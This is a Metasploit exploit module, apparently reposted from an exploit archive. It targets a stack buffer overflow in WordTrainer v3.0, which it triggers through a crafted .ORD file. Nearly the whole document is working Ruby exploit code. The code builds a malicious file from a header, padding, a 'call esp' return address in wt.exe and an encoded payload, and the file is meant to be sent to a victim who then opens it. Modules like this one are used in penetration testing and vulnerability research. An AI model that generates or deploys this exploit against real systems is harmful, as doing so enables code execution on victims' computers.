Wordtrainer 3.0 .ORD File Buffer Overflow Vulnerability (MSF)

Wordtrainer 3.0 .ORD File Buffer Overflow Vulnerability (MSF)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'WordTrainer v3.0 (ORD File) Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in WordTrainer v3.0. An attacker must send the file to the victim and the victim must open the file.
},
'License' => MSF_LICENSE,
'Author' => [
'C4SS!0 G0M3S', # Initial Exploit
'James Fitts' # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17157' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x20",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x00430363 } ], #call esp in wt.exe
],
'Privileged' => false,
'DisclosureDate' => 'Apr 12 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ord']),
], self.class)
end

def exploit

ord = "\x47\x4C\x4F\x53\x4F\x52\x0D\x0A\x31\x0D\x0A\x0D\x0A\x20\x0D\x0A" # header
ord << rand_text_alpha_upper(868) ord << [target.ret].pack('V') ord << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(ord) end end

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